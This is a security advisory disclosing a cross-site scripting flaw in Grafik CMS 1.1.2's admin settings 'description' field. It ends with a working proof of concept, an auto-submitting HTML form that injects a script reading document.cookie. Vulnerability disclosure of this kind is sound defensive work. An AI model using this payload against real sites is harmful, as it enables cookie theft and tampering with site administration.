XSS vulnerability in Grafik CMS

[advisory () htbridge ch]

Vulnerability ID: HTB22438
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_grafik_cms.html
Product: Grafik CMS
Vendor: GrafikPower
Vulnerable Version: 1.1.2 and Probably Prior Versions
Vendor Notification: 14 June 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/admin.php" script to properly sanitize user-supplied input in 
"description" variable. Successful exploitation of this vulnerability could result in a compromise of the application, 
theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/admin.php?action=settings"; method="post" name="main" >
        <input type="hidden" name="name" value="site title" />
        <input type="hidden" name="admin_mail" value="example () example com" />
        <input type="hidden" name="keywords" value="" />
        <input type="hidden" name="description" value='descr"><script>alert(document.cookie)</script>' />
        <input type="hidden" name="site_url" value="http://www.example.com/"; />
        <input type="hidden" name="seo_url" value="0" />
        <input type="hidden" name="mailing" value="1" />
        <input type="hidden" name="template" value="templates/default" />
        <input id="sbmt" type="submit" name="submit" value="Valider" />
</form>
<script>
document.getElementById('sbmt').click();
</script>